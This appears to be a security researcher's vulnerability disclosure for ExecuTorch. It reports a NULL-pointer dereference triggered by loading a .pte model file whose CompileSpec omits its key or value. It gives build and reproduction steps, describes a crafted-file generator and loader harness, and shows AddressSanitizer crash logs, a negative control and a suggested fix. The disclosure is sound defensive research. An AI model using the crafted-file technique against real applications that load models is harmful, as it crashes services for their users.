EnigmaConsultant's picture
Verified real ASan crash (Minimal + InternalConsistency), negative control, current HEAD a6d812a
12e8ccf verified
|
Raw
History Blame Contribute Delete
14.3 kB
metadata
license: other
tags:
  - security
  - vulnerability
  - executorch
  - model-file

ExecuTorch .pte CompileSpec NULL-pointer dereference (CWE-476) β€” verified with a real crash

Status: gated, private security research PoC. Access requests reviewed manually. This is a research PoC for the huntr Model File Format Vulnerability program. All testing was performed locally (local files, no network, no live host).

Summary

BackendDelegate::PopulateCompileSpecs() in runtime/executor/method.cpp (pytorch/executorch) dereferences the FlatBuffers accessors for the CompileSpec.key and CompileSpec.value fields without checking them for nullptr. Both fields are declared as optional (non-(required)) in schema/program.fbs, so a structurally valid .pte file is free to omit either or both of them for any CompileSpec entry attached to a delegate. Loading such a file crashes the process with a NULL-pointer dereference (SEGV) inside Program::load_method() β€” i.e. simply loading an untrusted model that names any registered backend is enough; no inference call is required, and the crash does not depend on which real backend is present.

This was independently verified today by cloning and building the actual, current upstream pytorch/executorch main branch, generating a minimal crafted .pte file with an omitted CompileSpec.value, and driving it through the real, unmodified Program::load() β†’ Program::load_method() β†’ Method::init() β†’ BackendDelegate::Init() β†’ PopulateCompileSpecs() call chain under AddressSanitizer. The crash reproduces exactly as predicted.

  • Target: pytorch/executorch
  • Commit verified against: a6d812a082df57898b8608f56c867140cc9da32c (main, authored 2026-07-10 β€” the tip of the repo at verification time, fetched fresh 2026-07-11)
  • Vulnerable file: runtime/executor/method.cpp
  • Vulnerable function: BackendDelegate::PopulateCompileSpecs()
  • Crash site: runtime/executor/method.cpp:185 (compile_spec_in_program->value()->size()); the sibling access at method.cpp:181 (compile_spec_in_program->key()->c_str()) is an equally-unchecked NULL deref for the key-omitted case.
  • Schema: schema/program.fbs, table CompileSpec { key: string; value: [ubyte]; } β€” neither field carries the (required) attribute.
  • Reached via the public loader API: Program::load() + Program::load_method() (the two calls any ExecuTorch embedder makes to load a .pte file).

Root cause

// runtime/executor/method.cpp, BackendDelegate::PopulateCompileSpecs()
for (size_t j = 0; j < number_of_compile_specs; j++) {
  auto compile_spec_in_program = compile_specs_in_program->Get(j);

  compile_specs_list[j].key = compile_spec_in_program->key()->c_str();   // L181
  compile_specs_list[j].value = {
      /*buffer*/ static_cast<void*>(
          const_cast<uint8_t*>(compile_spec_in_program->value()->Data())), // L184
      /*nbytes*/ compile_spec_in_program->value()->size(),                 // L185
  };
}
// schema/program.fbs
table CompileSpec {
  key: string;    // like max_value   -- NOT (required)
  value: [ubyte];  // like 4, ...      -- NOT (required)
}

Because key/value are optional flatbuffer fields, an absent field simply makes the generated accessor (key() / value()) return nullptr β€” this is not a malformed/corrupt flatbuffer, it is well-formed per the schema. Neither accessor's result is null-checked before being dereferenced (->c_str(), ->Data(), ->size()), so Method::init() SEGVs while initializing any delegate that carries such a CompileSpec.

PopulateCompileSpecs() runs for every BackendDelegate entry in a program's ExecutionPlan.delegates, for any backend ID the runtime has registered (BackendDelegate::Init(), method.cpp), so this is reachable with any real backend (XNNPACK, CoreML, Vulkan, a custom backend, …) as long as the crafted delegate's id string matches one that's linked into the runtime.

Why full FlatBuffers verification does not catch this

ExecuTorch supports two load-time verification modes, Program::Verification::Minimal (default) and Program::Verification::InternalConsistency (runs the full flatbuffers::Verifier over the buffer). Both were tested and both crash identically (see asan_crash_minimal.txt and asan_crash_internalconsistency.txt) β€” because an absent optional field is, by definition, something the FlatBuffers Verifier accepts as valid. This is a semantic/logic bug (CWE-476, missing null check), not a verification-bypass or malformed-buffer bug, so "run the verifier" is not a sufficient fix.

Distinctness

This is a different function, different file region, and different bug class from other already-reported/already-filed ExecuTorch .pte issues in this operation's backlog:

  • Not the XNNPACK delegate constant-data-size-vs-shape heap-overflow (backends/xnnpack/runtime/XNNCompiler.cpp, filed 2026-07-09) β€” that is an OOB read (CWE-125) in a completely different backend-specific parser.
  • Not the ExecuTorch min_verify/Operator.name OOB read fixed under Minimal verification only β€” this bug reproduces identically under full InternalConsistency verification (see above), so it is not the "skip the Verifier" bug class at all.
  • Not CVE-2025-30402 (method_meta.cpp::calculate_nbytes integer overflow, already fixed upstream) β€” unrelated function, unrelated file.
  • Not CVE-2025-54950 (missing argument-count validation in kernels/prim_ops/*) β€” unrelated file, unrelated bug shape.
  • The companion FlatTensorDataMap/.ptd TensorLayout null-deref (extension/flat_tensor/flat_tensor_data_map.cpp::create_tensor_layout(), a structurally analogous "optional flatbuffer field dereferenced without a null check" bug in a different file/table/API) was also confirmed present in this same commit during this research pass, but is reported separately/held back to keep this submission to one crash chain; see "Also observed" below.

Reproduction

1. Build the ExecuTorch core runtime + data loader under ASan

git clone --depth 1 https://github.com/pytorch/executorch.git
cd executorch
git submodule update --init --depth 1 \
  third-party/flatbuffers third-party/json third-party/gflags \
  third-party/flatcc backends/xnnpack/third-party/FXdiv

cmake -S . -B build -DCMAKE_BUILD_TYPE=Debug \
  -DEXECUTORCH_BUILD_XNNPACK=OFF \
  -DEXECUTORCH_BUILD_PTHREADPOOL=OFF \
  -DEXECUTORCH_BUILD_CPUINFO=OFF \
  -DEXECUTORCH_BUILD_EXTENSION_DATA_LOADER=ON \
  -DCMAKE_CXX_FLAGS="-fsanitize=address -g -O0 -fno-omit-frame-pointer" \
  -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address"
cmake --build build --target executorch extension_data_loader -j

2. Build the crafted-.pte generator and emit malicious.pte

g++ -std=c++17 build_pte.cpp -o build_pte \
  -Ibuild/schema/include -I. -Ithird-party/flatbuffers/include
./build_pte malicious.pte

build_pte.cpp emits a minimal, valid Program: one ExecutionPlan named "forward" with one BackendDelegate{id="TESTBACKEND"} carrying one CompileSpec{} (both key and value omitted).

3. Build and run the loader harness under ASan

g++ -std=c++17 -DC10_USING_CUSTOM_GENERATED_MACROS \
  -fsanitize=address -g -O0 -fno-omit-frame-pointer harness.cpp -o harness \
  -I. -Iruntime/core/portable_type/c10 -Ibuild/include -Ibuild/schema/include \
  -Ithird-party/flatbuffers/include \
  build/extension/data_loader/libextension_data_loader.a \
  build/libexecutorch.a build/libexecutorch_core.a
./harness malicious.pte

harness.cpp registers a trivial always-available "TESTBACKEND" BackendInterface (so the delegate-init loop in Method::init() is actually entered), then calls the real, unmodified FileDataLoader::from() β†’ Program::load() (default Minimal verification) β†’ Program::load_method("forward", ...).

harness_verify.cpp is identical except it calls Program::load() with Program::Verification::InternalConsistency, to prove the crash survives full flatbuffers verification.

Result (real captured output)

Default (Minimal) verification β€” asan_crash_minimal.txt

[harness] Program::load() ...
[harness] Program::load() OK. Loading method "forward" (this is expected to crash inside PopulateCompileSpecs)...
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1715711==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x557d3a175607 bp 0x7fffc2d5dc40 sp 0x7fffc2d5dc30 T0)
==1715711==The signal is caused by a READ memory access.
==1715711==Hint: address points to the zero page.
    #0 0x557d3a175607 in flatbuffers::Vector<unsigned char, unsigned int>::size() const .../flatbuffers/vector.h:164
    #1 0x557d3a172e4b in executorch::runtime::BackendDelegate::PopulateCompileSpecs(...)
    #2 0x557d3a17264a in executorch::runtime::BackendDelegate::Init(...)
    #3 0x557d3a164b4c in executorch::runtime::Method::init(...) .../runtime/executor/method.cpp:971
    #4 0x557d3a163e15 in executorch::runtime::Method::load(...) .../runtime/executor/method.cpp:862
    #5 0x557d3a18298a in executorch::runtime::Program::load_method(...) .../runtime/executor/program.cpp:399
    #6 0x557d3a158c8f in main poc/harness.cpp:86
SUMMARY: AddressSanitizer: SEGV .../flatbuffers/vector.h:164 in flatbuffers::Vector<unsigned char, unsigned int>::size() const
==1715711==ABORTING

Full (InternalConsistency) verification β€” asan_crash_internalconsistency.txt

Identical SEGV, same crash site, same call chain (only the binary's ASLR addresses/PIDs differ) β€” proving the flatbuffers Verifier does not, and structurally cannot, catch this:

==1717177==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 ...
    #0 ... in flatbuffers::Vector<unsigned char, unsigned int>::size() const .../flatbuffers/vector.h:164
    #1 ... in executorch::runtime::BackendDelegate::PopulateCompileSpecs(...)
    #2 ... in executorch::runtime::BackendDelegate::Init(...)
    #3 ... in executorch::runtime::Method::init(...) .../runtime/executor/method.cpp:971
    #4 ... in executorch::runtime::Method::load(...) .../runtime/executor/method.cpp:862
    #5 ... in executorch::runtime::Program::load_method(...) .../runtime/executor/program.cpp:399
==1717177==ABORTING

Negative control β€” negative_control_output.txt (build_pte_benign.cpp / benign.pte)

Same harness, same code path, but CompileSpec{key="max_value", value=[4,0,0,0]} (both fields present, well-formed). PopulateCompileSpecs now completes without crashing; the process only fails later, for an unrelated and expected reason (the minimal test program has no Chains):

[harness] Program::load() ...
[harness] Program::load() OK. Loading method "forward" (this is expected to crash inside PopulateCompileSpecs)...
E 00:00:00.000458 executorch:method.cpp:986] No chains
load_method returned error (no crash): 0x23
EXIT:2

This confirms the SEGV is caused specifically by the omitted CompileSpec fields, not by any other aspect of the minimal test program or harness.

Impact

Loading an untrusted/downloaded .pte model file that contains a delegate (any backend ID the host application has registered) with a CompileSpec missing its key and/or value field crashes the ExecuTorch runtime with a NULL-pointer-dereference SEGV during model load β€” before any inference is run, and regardless of which verification mode the embedding application selects. This is a straightforward denial-of-service against any process that loads attacker-supplied or attacker-modified .pte files (the explicit threat model of the huntr Model File Format program).

Also observed (not the subject of this report)

While verifying this bug, the structurally analogous null-deref in extension/flat_tensor/flat_tensor_data_map.cpp::create_tensor_layout() (TensorLayout.sizes/dim_order optional fields dereferenced without a null check, reached via FlatTensorDataMap::get_tensor_layout()) was confirmed still present in source at the same commit (a6d812a082df57898b8608f56c867140cc9da32c) by code inspection, but was not independently re-verified with a fresh execution/crash capture in this pass (time/scope), so it is intentionally not claimed as verified here.

Suggested fix

In PopulateCompileSpecs(), check compile_spec_in_program->key() != nullptr and compile_spec_in_program->value() != nullptr before dereferencing (treat an absent key as an empty string and an absent value as a zero-length buffer, or reject the program with Error::InvalidProgram), matching the null-safety already applied to most other optional-field accesses elsewhere in method.cpp.

Files

  • build_pte.cpp β€” generates malicious.pte (the crash-triggering file) using the real, unmodified flatc-generated program_generated.h.
  • malicious.pte β€” the crafted model file (272 bytes). One BackendDelegate (id="TESTBACKEND"), one CompileSpec with neither key nor value.
  • build_pte_benign.cpp / benign.pte β€” negative control (well-formed CompileSpec).
  • harness.cpp β€” loads a .pte via the real runtime under default (Minimal) verification, driving Program::load β†’ Program::load_method β†’ Method::init β†’ BackendDelegate::Init β†’ PopulateCompileSpecs. Registers a minimal no-op available backend "TESTBACKEND" so the delegate-init loop is entered.
  • harness_verify.cpp β€” identical, but loads with Program::Verification::InternalConsistency (full flatbuffers Verifier). Proves the crash still occurs under full verification.
  • asan_crash_minimal.txt β€” captured ASan SEGV output (Minimal verification, real run of harness.cpp).
  • asan_crash_internalconsistency.txt β€” captured ASan SEGV output (InternalConsistency verification, real run of harness_verify.cpp).
  • negative_control_output.txt β€” captured output of harness.cpp against benign.pte, showing no crash.

Source availability

100% open source. github.com/pytorch/executorch (BSD-3-Clause). Vulnerable function: runtime/executor/method.cpp, BackendDelegate::PopulateCompileSpecs.